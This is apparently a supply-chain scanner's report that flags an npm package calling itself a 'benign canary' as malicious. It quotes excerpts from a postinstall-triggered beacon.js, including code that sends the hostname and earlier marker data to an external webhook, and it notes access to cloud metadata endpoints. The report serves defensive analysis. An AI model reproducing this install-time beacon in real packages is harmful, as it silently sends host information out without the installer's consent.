@yongot/canary-mcp-isolation@1.0.2: Malicious npm security report

Loading npm security reports…

@yongot/canary-mcp-isolation@1.0.2: Malicious npm security report | LPM Firewall

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js postinstall" }

High

Suspicious Lifecycle Evidence

A postinstall hook automatically runs beacon.js.

package.jsonView on unpkg · L6

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

2"name": "@yongot/canary-mcp-isolation", "version": "1.0.2", "description": "Benign canary package for authorized security testing (sandbox isolation + egress scope check). No harmful behavior.", "main": "index.js", "scripts": { "postinstall": "node beacon.js postinstall"

Medium

Stripped Provenance Metadata

Package metadata calls itself a benign authorized-testing canary; this self-description does not establish consent or safety.

package.jsonView on unpkg · L2

beacon.jsView file

1const https = require('https'); L2: const http = require('http'); ... L25: try { L26: fs.writeFileSync(MARKER_PATH, JSON.stringify({ runId: myRunId, host: os.hostname(), t: Date.now() })); L27: } catch (e) {}

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

beacon.jsView on unpkg · L1

24const myRunId = 'run-' + Math.random().toString(36).slice(2, 10); try { fs.writeFileSync(MARKER_PATH, JSON.stringify({ runId: myRunId, host: os.hostname(), t: Date.now() })); } catch (e) {} send({ test: 'isolation', stage: process.argv[2] || 'require', host: os.hostname(), priorMarker: priorMarker, myRunId: myRunId });

High

Ai Review Evidence

The hook sends the host name and prior temporary-marker contents to an external webhook.

beacon.jsView on unpkg · L24

32function send(params) { try { console.log('send() called with:', JSON.stringify(params).slice(0, 100)); const url = new URL(WEBHOOK_BASE); Object.entries(params).forEach(([k, v]) => url.searchParams.set(k, String(v).slice(0, 200))); console.log('Attempting to reach:', url.toString()); https.get(url, (res) => { console.log('Webhook responded with status:', res.statusCode); }).on('error', (err) => { console.error('Webhook request FAILED:', err.message); // <-- This will reveal the exact issue });

High

Ai Review Evidence

The hook sends the host name and prior temporary-marker contents to an external webhook.

beacon.jsView on unpkg · L32